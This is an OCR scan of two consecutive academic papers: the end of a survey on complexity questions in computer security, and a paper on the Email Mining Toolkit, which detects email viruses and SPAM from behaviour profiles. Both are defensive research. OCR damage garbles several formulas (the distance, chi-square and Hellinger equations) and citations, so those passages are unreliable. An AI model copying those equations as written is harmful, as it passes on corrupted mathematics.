and ¥ represents the property to verify. In our example, ® means the secrecy. If
the secrecy is violated then there is a session whose complexity is bounded by
a constant for a given protocol (we do not consider recursive protocols [20] that
are not so practical) whose session key is known to intruder. If we take any exe-
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cution that contains this pattern it will also violate the security property. Thus
our ¥ is finitely refutable with a known complexity — the refutation information
is concentrated in a locus of a constant complexity. What is to be proved for
the decidability is the following property of @ that we call finite satisfiability: if
we take a model of @ (in our case an execution of the protocol under consider-
ation) and choose any sub-model of a fixed complexity then we are be able to
extend this sub-model to a total finite model with a controllable augmentation
of the complexity. If to prove finite satisfiability of practical protocols (and intu-
itively it looks plausible), the decidability of the security will be implied by the
decidability of some logic where one can describe models of a fixed complexity.

If go out of limitations of model-checking, the verification problem is a prob-
lem of determining appropriate classes of logic formulas in appropriate logics;
for cryptographic protocols, taking into account time stamps and timing attacks,
we are in particular domain of verification of real-time (reactive) systems.

5 Types and Security

Many access security properties can be expressed and checked on the basis of
the idea of types. The declared Java type security, though it failed in its initial
context, stimulated research in this direction.

As an example consider the problem of buffer overflow for C language. Given
a C program we wish to be sure that no buffer overflow will happen during its
execution. We can try to check it statically. Paper [27] describes an algorithm for
static analysis of C code. The analysis is reduced to a constraint solving problem,
and though no theoretical analysis of computational complexity is given, the
fact that experimental complexity is linear, shows an interesting question for
the theory. The algorithm outputs many false alarms, and this implies another
question what quality of analysis is achievable within a given complexity. The sets
of questions arising within this approach seem to have the flavor of approximate
solutions to some optimization problems.

Another way to solve such problems is to supply an executable with a proof
that the security property is valid. This idea of proof carrying code is being
studied since [19]. The problem is to develop an adequate language for express-
ing security properties and an inference system which gives rather short proofs
that can be efficiently found. Clear, that such properties can be satisfied si-
multaneously only for particular problem domains. In addition to traditional
complexity problems one can see here a problem a minimizing the entropy of
domain-oriented knowledge representation in the sense of [25].

In the same setting one finds other ideas concerning the enforcement security
policies [1322,5]@. The main open complexity problem concerns the verification
of whether global security property is achieved via local checks of applied security
policies.

5 Here security policies is a special term related to programming; in a wider context of
security this term usually means activities related to the administration of security.
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6 Network Vulnerability

Global analysis of network vulnerabilities is often done in terms of attack graphs.
These graphs represent local, atomic vulnerabilities, maybe some probabilities,
and paths representing access to these vulnerabilities. The construction of such
graphs for real life networks must be automated, and the problem of efficient
methods immediately arises; the current knowledge seems to be insufficient to
formulate reasonable complexity problems nowadays; the ontology is under de-
velopment (e. g. see [I4]). On the other hand, if a graph for vulnerability analysis
is constructed, its processing brings us to problems that seem to be related in
spirit to traditional problems (e. g. see [24]). However, the big size of graphs
imposes more tough questions of the complexity, for example, whether this or
that question about the risk of attack on a particular node can be answered
without analysis of the whole graph.

7 Conclusion

One can see that we are arriving at a level of knowledge about the security
when complexity analysis becomes feasible and useful. Cryptography, practice
and theory, teaches us that reasoning about security must be well founded [T5].
Complexity may give some insights. However, specific features of the security are
not yet describe in the complexity theory, in particular, what reductions preserve
this or that security property? However, this and other theoretical questions are
under study.
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Abstract. The Malicious Email Tracking (MET) system, reported in a prior
publication, is a behavior-based security system for email services. The Email
Mining Toolkit (EMT) presented in this paper is an offline email archive data
mining analysis system that is designed to assist computing models of mali-
cious email behavior for deployment in an online MET system. EMT includes a
variety of behavior models for email attachments, user accounts and groups of
accounts. Each model computed is used to detect anomalous and errant email
behaviors. We report on the set of features implemented in the current version
of EMT, and describe tests of the system and our plans for extensions to the set
of models.

1 Introduction

The Email Mining Toolkit (EMT) is an offline data analysis system designed to assist
a security analyst compute, visualize and test models of email behavior for use in a
MET system [0]. In this paper, we present the features and architecture of the imple-
mented and operational MET and EMT systems, and illustrate the types of discoveries
possible over a set of email data gathered for study.

EMT computes information about email flows from and to email accounts, aggre-
gate statistical information from groups of accounts, and analyzes content fields of
emails without revealing those contents. Many previous approaches to ‘“anomaly
detection” have been proposed, including research systems that aim to detect masque-
raders by modeling command line sequences and keystrokes [0,0].

MET is designed to protect user email accounts by modeling user email flows and
behaviors to detect misuses that manifest as abnormal email behavior. These misuses
can include malicious email attachments, viral propagations, SPAM email, and email
security policy violations. Of special interest is the detection of polymorphic virii that
are designed to avoid detection by signature-based methods, but which may likely be
detected via their behavior.

The finance, and telecommunications industries have protected their customers
from fraudulent misuse of their services (fraud detection for credit card accounts and
telephone calls) by profiling the behavior of individual and aggregate groups of cus-
tomer accounts and detecting deviations from these models. MET provides behavior-
based protection to Internet user email accounts, detecting fraudulent misuse and
policy violations of email accounts by, for example, malicious viruses.

A behavior-based security system such as MET can be architected to protect a cli-
ent computer (by auditing email at the client), an enclave of hosts (such as a LAN
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with a few mail servers) and an enterprise system (such as a corporate network with
many mail servers possibly of different types).

The principle behind MET’s operation is to model baseline email flows to and from
particular individual email accounts and sub-populations of email accounts (eg., de-
partments within an enclave or corporate division) and to continuously monitor ongo-
ing email behavior to determine whether that behavior conforms to the baseline. The
statistics MET gathers to compute its baseline models of behavior includes groups of
accounts that typically exchange emails (eg., “social cliques” within an organization),
and the frequency of messages and the typical times and days those messages are
exchanged. Statistical distributions are computed over periods of time, which serve as
a training period for a behavior profile. These models are used to determine typical
behaviors that may be used to detect abnormal deviations of interest, such as an un-
usual burst of email activity indicative of the propagation of an email virus within a
population, or violations of email security policies, such as the outbound transmission
of Word document attachments at unusual hours of the day.

EMT provides a set of models an analyst may use to understand and glean impor-
tant information about individual emails, user account behaviors, and abnormal at-
tachment behaviors for a wide range of analysis and detection tasks. The classifier
and various profile models are trained by an analyst using EMT’s convenient and easy
to use GUI to manage the training and learning processes. There is an “alert” function
in EMT which provides the means of specifying general conditions that are indicative
of abnormal behavior to detect events that may require further inspection and analy-
sis, including potential account misuses, self-propagating viral worms delivered in
email attachments, likely inbound SPAM email, bulk outbound SPAM, and email
accounts that are being used to launch SPAM.

EMT is also capable of identifying similar user accounts to detect groups of SPAM
accounts that may be used by a “SPAMbot”, or to identify the group of initial victims
of a virus in a large enclave of many hundreds or thousands of users. For example, if a
virus victim is discovered, the short term profile behavior of that victim can be used
to cluster a set of email accounts that are most similar in their short term behavior, so
that a security analyst can more effectively detect whether other victims exist, and to
propagate this information via MET to limit the spread and damage caused by a new
viral incident.

2 EMT Toolkit

MET, and its associated subsystem MEF (the Malicious Email Filter) was initially
conceived and started as a project in the Columbia IDS Lab in 1999. The initial re-
search focused on the means to statistically model the behavior of email attachments,
and support the coordinated sharing of information among a wide area of email serv-
ers to identify malicious attachments. In order to properly share such information,
each attachment must be uniquely identified, which is accomplished through the
computation of an MDS5 hash of the entire attachment. A new generation of polymor-
phic virii can easily thwart this strategy by morphing each instance of the attachment
that is being propagated. Hence, no unique hash would exist to identify the originating
virus and each of its variant progeny. (It is possible to identify the progenitor by
analysis of entry points and attachment contents as described in the Malicious Email
Filter paper [0].)
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Furthermore, by analyzing only attachment flows, it is possible that benign attach-
ments that share characteristics of self-propagating attachments will be incorrectly
identified as malicious (e.g., a really good joke forwarded among many friends).

Although the core ideas of MET are valid, another layer of protection for malicious
misuse of emails is warranted. This strategy involves the computation of behavior
models of email accounts and groups of accounts, which then serve as a baseline to
detect errant email uses, including virus propagations, SPAM mailings and email
security policy violations. EMT is an offline system intended for use by security per-
sonnel to analyze email archives and generate a set of attachment models to detect
self-propagating virii. User account models including frequency distributions over a
variety of email recipients, and typical times of emails are sent and received. Aggre-
gate populations of typical email groups and their communication behavior intended
to detect violations of group behavior indicative of viral propagations, SPAM, and
security policy violations.

Models that are computed by EMT offline serve as the means to identify anoma-
lous, atypical email behavior at run time by way of the MET system. MET thus is
extended to test not only attachment models, but user account models as well. It is
interesting to note that the account profiles EMT computes are used in two ways. A
long term profile serves as a baseline distribution that is compared to recent email
behavior of a user account to determine likely abnormality. Furthermore, the account
profiles may themselves be compared to determine subpopulations of accounts that
behave similarly. Thus, once an account is determined to behave maliciously, similar
behaving accounts may be inspected more carefully to determine whether they too are
behaving maliciously.

The basic architecture of the EMT system is a graphical user interface (GUI) sit-
ting as a front-end to an underlying database (eg., MySQL [0]) and a set of applica-
tions operating on that database. Each application either displays information to an
EMT analyst, or computes a model specified for a particular set of emails or accounts
using selectable parameter settings. Each is described below. By way of an example,
Fig. 3 displays a collection of email records loaded into the database. This section
allows an analyst to inspect each email message and mark or label individual mes-
sages with a class label for use in the supervised machine learning applications de-
scribed in a later section. The results of any analyses update the database of email
messages (and may generate alerts) that can be inspected in the messages tab.

2.1 Attachment Statistics and Alerts

EMT runs an analysis on each attachment in the database to calculate a number of
metrics. These include, birth rate, lifespan, incident rate, prevalence, threat, spread,
and death rate. They are explained fully in [0].

Rules specified by a security analyst using the alert logic section of MET are
evaluated over the attachment metrics to issue alerts to the analyst. This analysis may
be executed against archived email logs using EMT, or at runtime using MET. The
initial version of MET provides the means of specifying thresholds in rule form as a
collection of Boolean expressions applied to each of the calculated statistics. As an
example, a basic rule might check for each attachment seen:
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If its birth rate is greater than specified threshold T AND sent from at
least X number of users.

2.2  Account Statistics and Alerts

This mechanism has been extended to provide alerts based upon deviation from other
baseline user and group models. EMT computes and displays three tables of statistical
information for any selected email account. The first is a set of stationary email ac-
count models, i.e. statistical data represented as a histogram of the average number of
messages sent over all days of the week, divided into three periods: day, evening, and
night. EMT also gathers information on the average size of messages for these time
periods, and the average number of recipients and attachments for these periods.
These statistics can generate alerts when values are above a set threshold as specified
by the rule-based alert logic section.

We next describe the variety of models available in EMT that may be used to gen-
erate alerts of errant behavior.

2.3 Stationary User Profiles

Histograms are used to model the behavior of a user’s email accounts. Histograms are
compared to find similar behavior or abnormal behavior within the same account
(between a long-term profile histogram, and a recent, short-term histogram), and be-
tween different accounts.

A histogram depicts the distribution of items in a given sample. EMT employs a
histogram of 24 bins, for the 24 hours in a day. (Obviously, one may define a different
set of stationary periods as the detect task may demand.) Email statistics are allocated
to different bins according to their outbound time. The value of each bin can represent
the daily average number of emails sent out in that hour, or daily average total size of
attachments sent out in that hour, or other features defined over an of email account
computed for some specified period of time.

Two histogram comparison functions are implemented in the current version of
EMT, each providing a user selectable distance function as described below. The first
comparison function is used to identify groups of email accounts that have similar
usage behavior. The other function is used to compare behavior of an account’s recent
behavior to the long-term profile of that account.

2.3.1 Histogram Distance Functions
A distance function is used to measure histogram dissimilarity. For every pair of his-

tograms, h1 s hz, there is a corresponding distance D(h,, h,), called the distance be-

tween h1 and h2 . The distance function is non-negative, symmetric and O for identical
histograms. Dissimilarity is proportional to distance. We adapted some of the more
commonly known distance functions: simplified histogram intersection (L1-form),
Euclidean distance (L2-form), quadratic distance [0] and histogram Mahalanobis
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distance [0]. These standard measures were modified to be more suitable for email
usage behavior analysis. For concreteness,

L1-form: Dl(hl,hz)=Z;:01|h1[i]—h2[i]| (1
La-form: D, (h,hy) = 3" (h[i]— hi])? @
Quadratic: D, (hy,h,) = (h, —h,)" A(h, — h,) 3)

where n is the number of bins in the histogram. In the quadratic function, A is a ma-
trix where a; denotes the similarity between bins i and j. In EMT we set

a; =|i— j|+1, which assumes that the behavior in neighboring hours is more

similar. The Mahalanobis distance is a special case of the quadratic distance, where

Ais given by the inverse of the covariance matrix obtained from a set of training
histograms. We will describe this in detail.

2.3.2  Abnormal User Account Behavior
The histogram distance functions are applied to one target email account. (See Fig. 4.)
A long term profile period is first selected by an analyst as the “normal” behavior
training period. The histogram computed for this period is then compared to another
histogram computed for a more recent period of email behavior. If the histograms are
very different (i.e., they have a high distance), an alert is generated indicating possible
account misuse. We use the weighted Mahalanobis distance function for this detection
task.

The long term profile period is used as the training set, for example, a single
month. We assume the bins in the histogram are random variables that are statistically
independent. Then we get the following formula:

D, (hy,h) = (b, —h)" A(h, — h) )
oo 0 ... 0
A=B". b, = Covlil,Wi) =Var(Wih)=c? z_| O o - 0 (5)
0 .. 0 o,
Then we get:
D,(h, =" (Wlil-hli))*/o}) ©)

Vector i represents the histogram of the (eg., one month) profile period, while
h, represents the recent profile period (eg., one week). O, describes the dispersion of

usage behavior around the arithmetic mean. We then modify the Mahalanobis dis-
tance function to the weighted version. First we reduce the distance function from the
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second degree function to the first degree function; then we assign a weight to each
bin so that the larger bins will contribute more to the final distance computation:

D, (h,h)=Y""w,(hli]-hliD/ 0, 7
Weight w, =/ [i1/ "~ 1 j] ®)

When the distance between the histogram of the selected recent period and that of
the longer term profile is larger than a threshold, an alert will be generated to warn the
analyst that the behavior “might be abnormal” or is deemed “abnormal”. The alert is
also put into the alert log of EMT.

2.3.3  Similar Users

User accounts that may behave similarly may be identified by computing the pair-
wise distances of their histograms (eg., a set of SPAM accounts may be inferred given
a known or suspect SPAM account as a model). Intuitively, most users will have a
pattern of use over time, which spamming accounts will likely not follow. (SPAMbots
don’t sleep or eat and hence may operate at times that are highly unusual.)

The histogram distance functions were modified for this detection task. First, we
balance and weigh the information in the histogram representing hourly behavior with
the information provided by the histogram representing behavior over different ag-
gregate periods of a day. This is done since measures of hourly behavior may be too
low a level of resolution to find proper groupings of similar accounts. For example, an
account that sends most of its email between 9am and 10am should be considered
similar to another that sends emails between 10am and 11am, but perhaps not to an
account that emails at 5pm. Given two histograms representing a heavy 9am user, and
another for a heavy 10am user, a straightforward application of any of the histogram
distance functions will produce erroneous results.

Thus, we divide a day into four periods: morning (7am-1pm), afternoon (1pm-
7pm), night (7pm-1am), and late night (1am-7am). The final distance computed is the
average of the distance of the 24-hour histogram and that of the 4-bin histogram,
which is obtained by regrouping the bins in the 24-hour histogram.

Second, because some of the distance functions require normalizing the histograms
before computing the distance function, we also take into account the volume of
emails. Even with the exact distribution after normalization, a bin representing 20
emails per day should be considered quite different from an account exhibiting the
emission of 200 emails per day.

In addition to find similar users to one specific user, EMT computes distances pair-
wise over all user account profiles, and clusters sets of accounts according to the simi-
larity of their behavior profile. To reduce the complexity of this analysis, we use an
approximation by randomly choosing some user account profile as a “centroid” base
model, and then compare all others to this account. Those account profiles that are
deemed within a small neighborhood from each other (using their distance to the
centroid as the metric) are treated as one clustered group. The cluster so produced and
its centroid are then stored and removed, and the process is repeated until all profiles
have been assigned to a particular cluster.

The histograms described here are stationary models; they represent statistics time
frames. Other non-stationary account profiles are provided by EMT, where behavior
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is modeled over sequences of emails irrespective of time. These models are described
next.

2.4 Non-stationary User Profiles

Another type of modeling considers the changing conditions of an email account over
sequences of email transmissions. Most email accounts follow certain trends, which
can be modeled by some underlying distribution. As an example of what this means,
many people will typically email a few addresses very frequently, while emailing
many others infrequently. Day to day interaction with a limited number of peers usu-
ally results in some predefined groups of emails being sent. Other contacts communi-
cated to on less than a daily basis have a more infrequent email exchange behavior.
These patterns can be learnt through the analysis of a user’s email archive over a bulk
set of sequential emails. For some users, 500 emails may occur over months, for oth-
ers over days.

Every user of an email system develops a unique pattern of email emission to a
specific list of recipients, each having their own frequency. Modeling every user's
idiosyncrasies enables the EMT system to detect malicious or anomalous activity in
the account. This is similar to what happens in credit card fraud detection, where
current behavior violates some past behavior patterns.

Fig. 5 and 6 are screenshots of the non-stationary model features in EMT. We will
illustrate the ideas of this model referencing specific details in the screenshots.

2.4.1 Profile of a User
The Profile tab in Fig. 11 provides a snapshot of the account's activity in term of re-
cipient frequency. It contains three charts and one table.

The “Recipient Frequency Histogram” chart is the bar chart in the upper left cor-
ner. It displays the frequency at which the user sends emails to all the recipients
communicated to in the past. Each point on the x-axis represents one recipient, the
corresponding height of the bar located at any point on the x-axis measures the fre-
quency of emails sent to this recipient, as a percentage.

This bar chart is sorted in decreasing order, and usually appears as a nice convex
curve with a strong skewedness; a long low tail on the right side, and a very thin spike
at the start on the left side. This frequency bar chart can be modeled with either a Zipf
function, or a DGX function (Discrete Gaussian Exponential function), which is a
generalized version of the Zipf distribution. This distribution characterizes some spe-
cific human behavioral patterns, such as word frequencies in written texts, or URL
frequencies in Internet browsing [2]. In brief, its main trait is that few objects receive
a large part of the flow, while many objects receive a very small part of the flow.

The rank-frequency version of Zipf's law states that f(r) o< 1/r, where f(r) is
the occurrence frequency versus the rank r, in logarithmic-logarithmic scales. The

generalized Zipf distribution is defined as f(r) o< (1/7)?, where the log-log plot
can be linear with any slope. Our tests indicate that the log-log plots are concave, and
thus require the usage of the DGX distribution for a better fit [2].

The “Recipient List” is the table in the upper right corner in Fig. 5. This table is di-
rectly related to the previous histogram. It lists in decreasing order every recipient's



64  S.J. Stolfo et al.

email address and their frequency of receiving messages. It is used as a reference to
the Recipient Frequency Histogram, as the email address corresponding to each bar of
the histogram can be found in the table in the same order.

“Total Recipient Address List size over time” is the chart in the lower left-hand
side in Fig. 5. The address list is the list of all recipients who received an email from
the selected user between two dates. This list is a cumulative distribution that grows
over an increasing number of emails analyzed, as new distinct recipients are added to
the list. It starts empty, then each time the selected user sends an email to a new dis-
tinct email address not yet in the list, that address is added to the list. The list size is
the number of elements in the list at a given point in the set of bulk emails analyzed.
(Note, the address book is the list of email addresses a user maintains in their mail
client program for easy reference, unlike the address list, which is the list of all recipi-
ents a user may send to eg., in reply to messages from accounts not recorded in the
user’s address book).

The plots labeled “# distinct rcpts & # attach per email blocks™ appear in the chart
in the lower right-hand side of Fig. 11. It contains five plots that visualize the variabil-
ity of the user's emission of emails. The green plot is the number of distinct recipients
per block of 50 emails sent. The program uses a rolling window of 50 emails to calcu-
late this metric. What it means is, the higher its value (and thus the closer to 50), the
wider the range of recipients the selected user sends emails to, over time. On the other
hand, if the metric is low, it means that the user predominantly sends messages to a
small group of people. The moving average of this metric (using 100 records) is plot-
ted as a blue overlapping curve, indicating the trend.

The plot in yellow is based on the same criterion, but with a window of 20 emails
instead of 50. This metric is chosen, so that it will have a faster reaction to anomalous
behavior, while the previous one using blocks of 50 shows the longer-term behavior.
The short-term profile can be used as the first level of alert, the longer-term one act-
ing to confirm it. The 100 record average of this metric is displayed in blue as well.

Finally the plot in red is the number of messages with attachment(s), per block of
50 emails. It shows the average ratio of emails with attachment(s) versus emails with-
out attachments, and any sudden spike of emails sent with attachment(s) will be de-
tected on the plot.

The profile window displays a fingerprint of the selected user's email frequency
behavior. The most common malicious intrusion can be detected very fast by the
metrics. For instance, a Melissa type virus would be detected since the five plots in
the chart will jump up to 50, 20 and 50 respectively (if the virus sends an attachment
of itself, polymorphic or not, the red plot will jump up). See section 3.4.4 for more
details on virus detection simulations.

Spammers too have a typical profile, easily distinguishable from a normal user's
profile. The metrics in Fig. 11 will be very high most of the time, as a SPAMbot gen-
erates emails to a very wide range of recipients. The address list size will likely grow
much faster then a typical user. If a spammer sends many emails with attachments,
the red metric will be close to 50 most of the time, unlike the general intuitive case of
normal user behavior.

2.4.2  Chi Square Test of User Histograms
The purpose of the Chi Square window shown in Fig. 6 is to test the hypothesis that
the recipient frequencies are identical (for a given user) over two different time
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frames. Obviously, recipient frequencies are not constant over a long time horizon, as
users will add new recipients and drop old ones. It can be informative for behavioral
modeling though, to analyze the variability of frequencies over two near time frames.

The window is composed of two histograms and two tables. They are constructed
in the same manner as what is done in the Profile window, but here two time periods
of activity for the same user are compared. The idea is to treat the first period, the
“Training range” at the top, as the true distribution corresponding to the user under
normal behavior, while the second time period, the “Testing range” at the bottom, is
used to evaluate if frequencies have changed, and if any malicious activity is taking
place.

By default, the 200 past emails are selected as the Testing range, while the previ-
ous 800 are the Training range, thus operating under the usual 1/5 - 4/5 ratio between
testing and training sets, using the past 1000 messages as total set. These ranges are
modifiable; a live version would use a much shorter testing period in order to provide
fast alerts.

The scales on the x-axis for both Recipient Frequency histograms are the same, and
are based on the sorted frequencies from the Training range. It implies that the ad-
dresses appearing only in the testing range (but not in the training range) are neverthe-
less present in both histograms, but with frequency zero in the training range histo-
gram. Conversely, they have a non-zero frequency in the lower histogram and are
located on the extreme right side. (One can see a jump in frequency on this side, as
the sorting is based on the top histogram, where they had zero frequency.) As each
recipient address is at the same location on the x axis on both histograms, the lower
one does not appear to be sorted, as the order has changed between training and test-
ing ranges. This shows how some frequencies drop while others spike between the
two periods.

Finally, at the bottom of the window, a Chi Square statistic, with its p-value and
degrees of freedom are displayed in blue. The Chi Square is a statistic that can be
used, among other things, to compare two frequency tables. Assuming that the ob-
served frequencies corresponding to the first, longer time frame window are the true
underlying frequencies, the Chi Square statistic enables us to evaluate how likely the
observed frequencies from the second time frame are to be coming from that same
distribution [18]. The Chi Square formula is:

0=Y" (X(i)—np(i))/np(i) ©)

Where X (i)is the number of observations for recipient (i) in the testing range,

p(i)is the true frequency calculated from the training range, n is the number of ob-

servations in the testing range, and k is the number of recipients. There are (k-1) de-
grees of freedom.

The p-value represents the probability that the frequencies in both time frames
come from the same multinomial distribution. In order to get an idea of the variability
of the frequencies under real conditions, we used a sample of 37,556 emails from 8
users. We run two batches of calculations. First, we used a training period size of 400
emails and a testing period size of 100 emails; for each user, we started at the first
record, calculated the p-value, then translated the two windows by steps of 10 records
until the end of the log was reached, each time calculating the p-value. Secondly, we
reproduced the same experiment, but with a training period size of 800 emails, and a
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testing period size of 200 emails. We thus collected a total of 7,947 p-values, and
their histogram is shown in Fig. 1.

p-values histogram

frequency

Fig. 1. P value plot

Under the hypothesis that the frequencies are constant, the histogram is expected to
be a flat line. On the contrary, this histogram is characterized by a very large concen-
tration of p-values between 0 and 5%, and a large (but less large) concentration be-
tween 95 and 100%, while p-values in the range of 5 to 95% are under-represented.
Our intuitive explanation of this histogram (also based on our domain knowledge) is
the following:

Most of the time, frequencies change significantly (in a statistical sense) between
two consecutive time frames; this is why 60% of the p-values are below 5% (as a low
p-value indicates a very high chance that the frequencies have changed between two
time frames). Emails users tend to modify their recipient frequencies quite often. On
the other side, there are non-negligible times when those frequencies stay very stable
(as 13% of the p-values are above 95%, indicating strong stability). As the frequen-
cies have been found to be so variable under normal circumstances, the Chi Square
itself could not be used to detect an intrusion. Instead we explore a related metric,
which will be more useful for that purpose.

2.4.3  Hellinger Distance
Our first tests using the Chi-square statistic revealed that the frequencies cannot be
assumed constant between two consecutive time frames for a given user. What is
specific to every user though is, how variable frequencies are over time. We try to
assess this by calculating a measure between the two frequency tables.

We are using the Hellinger distance for this purpose. Its formula is:

A INANED NN ITHRNIAT (10)

Where f[] is the array of frequencies for the training set, f,[] for the testing set, n
the total number of distinct recipients during both periods. “Hellinger distance size” is
a text field set at 100 by default. It represents the length of the testing window and can
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be changed to a different value, while the length of the training window equals 4
times the length of the testing window. Fig. 2 is shown an example for a normal user.

The Hellinger distance plot shows the distance between training and testing sets
plotted over the entire email history of the user. For example, if a user has 2500 out-
bound emails, the plots starts at the 500" record, and measures the distance between
the frequencies corresponding to the first 400 records, versus the emails correspond-
ing to the next 100 records; these two windows, of 400 and 100 records, respectively,
are then rolled forward over the entire email history of the user, by steps of one re-
cord. At each step, a Hellinger distance is calculated between the given training win-
dow of 400 records, and the corresponding testing window of 100 records.

Recipients’ Hellinger Distance
T T T T

the Hellinger Distance

500 1000 1500 . 2000
each point is a recipient

Fig. 2. Normal User

What this plot tells us is that when a burst occurs, the recipient frequencies have
been changing significantly. This can be either a normal event, as we know from the
previous section, or an intrusion. Thus the plot can be included in our list of detection
tools. Formal evaluation of its efficiency, as well as of some of the metrics presented
along section 3.4, is described in the next section.

2.4.4  Tests of Simulated Virii

As data with real intrusions are very difficult to obtain [19], EMT’s menu includes the
creation of simulated email records. Using a database of archived emails, EMT can
generate the arrival of a “dummy” virus, and insert corrupted records into a real email
log file. A set of parameters introduces randomness in the process, in order to mimic
real conditions: the time at which the virus starts, the number of corrupted emails sent
by the virus and its propagation rate. Each recipient of such a “dummy” corrupted
email is picked randomly from the address list of the selected user. These recipients
can be set to be all distinct, as most virii, but not all, would only send an email once to
each target recipient account.

By design, each email generated by a simulated virus contains one attachment, but
no information about the attachment is provided or used, other than the fact that there
is one attachment. Our assumption is that virii propagate themselves by emitting
emails with one attachment, which may or may not be a copy of themselves, so that
the tests encompass polymorphic virii as well. Virii can also propagate through
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HTML content, and testing such scenario would follow the same logic as this test.
The results are expected to be very similar, as most calculations would be identical.
This new test would for the most part consists in just replacing one boolean random
variable (“attachment’) with another (“html”).

Our experiment used a combination of three plots, the “Hellinger distance” plot,
the “# distinct recipients” plot, and the “# attachment” plot, as detailed in the above
sections. Our intuition is that when a virus infiltrates itself, it causes each plot to
burst. We have tested three types of thresholds used to determine when a burst occurs:
a simple moving average (MA), a threshold proportional to the standard deviation of
the plots (TH), and a heuristic formula evaluating when a change of trend occurs
(HE).

The dataset for the test was an archive of 16 users, totaling 20,301 emails. The pa-
rameters that were randomly generated at each simulation were the time of the intru-
sion and the list of receiving recipients (taken from the address list of each selected
user). The parameters that were controlled were the propagation rate (ranging from
0,5 message per day to 24) and the number of corrupted emails sent (ranging from 20
corrupted emails sent to 100). In total, about 500,000 simulations were made, and for
each type, we determined the false alarm rate and the missing alarm rate. The results
are summarized in the tabl. 1.

No optimization was attempted, and we ran the experiment only once, as we did
not want to appear to use the best out of several runs. In summary, we achieved very
reasonable results, given the lack of optimization, and the simplicity of the threshold
formulae. Thus, this method can be expected to be quite efficient once optimized and
used in combination with other tools. As expected, a slower propagation rate makes
detection harder, as in such a case, each corrupted email becomes less “noticeable”
among the entire email flow (as can be seen in the table, each method gets worse
results as the propagation rate decreases). A smaller number of emails sent by the
virus would also make it harder to be detected (this can be seen by comparing the
results between 20 and 50 corrupted emails; in the case of 100 emails sent, the results
get lower for heuristic reasons only).

Table 1. Each cell contains the missing alarm rate and the false alarm rate (for example 27/9
means that the missing alarm rate is 27% and the false alarm rate is 9%). The results for the
three methods (MA, TH, HE) are shown for various propagation rates and number of emails
emitted by the virus.

Propagation Rate: 24 2 1 0.5

frcorrupted email | 20 | 50 {100| 20 | 50 | 100 | 20 | 50 | 100 | 20 50 | 100
MA [41/9{27/9]39/9|56/10|51/11|59/12|60/10|54/12|61/12|63/11|53/12 |55/12
Method | TH (49/4|41/4|60/4| 69/4 | 67/5 | 73/6 | 73/5 | 69/6 | 73/6 | 76/5 | 65/5 | 67/6
HE |25/8|21/8|48/8| 48/9 |54/11|63/12|59/10{63/13 {67/13|69/11|73/12|67/13

2.5 Group Communication Models: Cliques

In order to study the email flows between groups of users, EMT provides a feature
that computes the set of cligues in an email archive.
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We seek to identify clusters or groups of related email accounts that frequently
communicate with each other, and then use this information to identify unusual email
behavior that violates typical group behavior. For example, intuitively it is doubtful
that a user will send the same email message to his spouse, his boss, his “drinking
buddies” and his church elders all appearing together as recipients of the same mes-
sage. A virus attacking his address book would surely not know the social relation-
ships and the typical communication pattern of the victim, and hence would violate
the user’s group behavior profile if it propagated itself in violation of the user’s “so-
cial cliques”.

Clique violations may also indicate internal email security policy violations. For
example, members of the legal department of a company might be expected to ex-
change many Word attachments containing patent applications. It would be highly
unusual if members of the marketing department, and HR services would likewise
receive these attachments. EMT can infer the composition of related groups by ana-
lyzing normal email flows and computing cliques (see Fig. 5), and use the learned
cliques to alert when emails violate clique behavior (see Fig. 7).

EMT provides the clique finding algorithm using the branch and bound algorithm
described in [0]. We treat an email account as a node, and establish an edge between
two nodes if the number of emails exchanged between them is greater than a user
defined threshold, which is taken as a parameter (Fig. 7 is displayed with a setting of
100). The cliques found are the fully connected sub-graphs. For every clique, EMT
computes the most frequently occurring words appearing in the subject of the emails
in question which often reveals the clique’s typical subject matter under discussion.

(The reader is cautioned not to confuse the computation of cliques, with the maxi-
mal Clique finding problem, that is NP-complete. Here we are computing the set of
all cliques in an email archive which has near linear time complexity.)

2.5.1 Chi Square + Cliques

The Chi Square + cliques (CS + cliques) feature in EMT is the same as the Chi
Square window described in section 3.4.2, with the addition of the calculation of
clique frequencies.

In summary, the clique algorithm is based on graph theory. It finds the largest
cliques (group of users), which are fully connected with a minimum number of emails
per connection at least equal to the threshold (set at 50 by default). For example if
clique, is a clique of three users A, B and C, meaning that A and B have exchanged at
least 50 emails; similarly B and C, and A and C, have exchanged at least 50 emails.
The Clique Threshold field can be changed from this window, which will recalculate
the list of all cliques for the entire database, and concurrently the metrics in the win-
dow are automatically readjusted accordingly.

In this window, each clique is treated as if it were a single recipient, so that each
clique has a frequency associated with it. Only the cliques to which the selected user
belongs will be displayed. Some users don't belong to any clique, and for those, this
window is identical to the normal Chi Square window.

If the selected user belongs to one or more cliques, each clique appears under the
name clique, i:=1,2,..., and is displayed in a cell with a green color in order to be
distinguishable from individual email account recipients. (One can double click on
each clique's green cell, and a window pops-up with the list of the members of the
clique.)
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For any connection between the selected user and a given recipient belonging to a
clique, the algorithm implemented in EMT allocates 60% of the email flow from user
to recipient to the given cliques, and the rest to the recipient. This number was chosen
to reflect the fact that if a user and a recipient belong to the same clique, most of the
email flow between the two is assumed to belong to the clique.

In some cases, two or more cliques may share the same connection between a user
and a recipient. For example if A, B and C belong to clique,, and A, B and D belong
to clique,, the connection between A and B is shared among the two cliques. In that
case, half of the 60% allocated to cliques will be split between clique, and clique, in
order to calculate the frequency, from A to B, say. If 100 messages were sent from A
to B, 40 are assigned to B, 30 to clique, and 30 to clique,.

Cliques tend to have high ranks in the frequency table, as the number of emails
corresponding to cliques is the aggregate total for a few recipients. Let’s for example
assume that clique, = {A, B, C, D}, and that clique, shares no connection with other
cliques. If A sent 200 messages to B, 100 to C and 100 to D, the number of messages
allocated, respectively, to B is 80, to C is 40, to D is 40, and to is 240. Thus, the
clique will get a large share of the flow, and this is expected, as they model small
groups of tightly connected users with heavy email traffic.

2.5.2 Enclave Cliques vs. User Cliques

Conceptually, two types of cliques can be formulated. The one described in the pre-
vious section can be called enclave cliques because these cliques are inferred by look-
ing at email exchange patterns of an enclave of accounts. In this regard, no account is
treated special and we are interested in email flow pattern on the enclave-level. Any
flow violation or a new flow pattern pertains to the entire enclave. On the other hand,
it is possible to look at email traffic patterns from a different viewpoint altogether.
Consider we are focusing on a specific account and we have access to its outbound
traffic log. As an email can have multiple recipients, these recipients can be viewed
as a clique associated with this account. Since another clique could subsume a clique,
we defined a user clique as one that is not a subset of any other cliques. In other
words, user cliques of an account are its recipient lists that are not subsets of other
recipient lists.

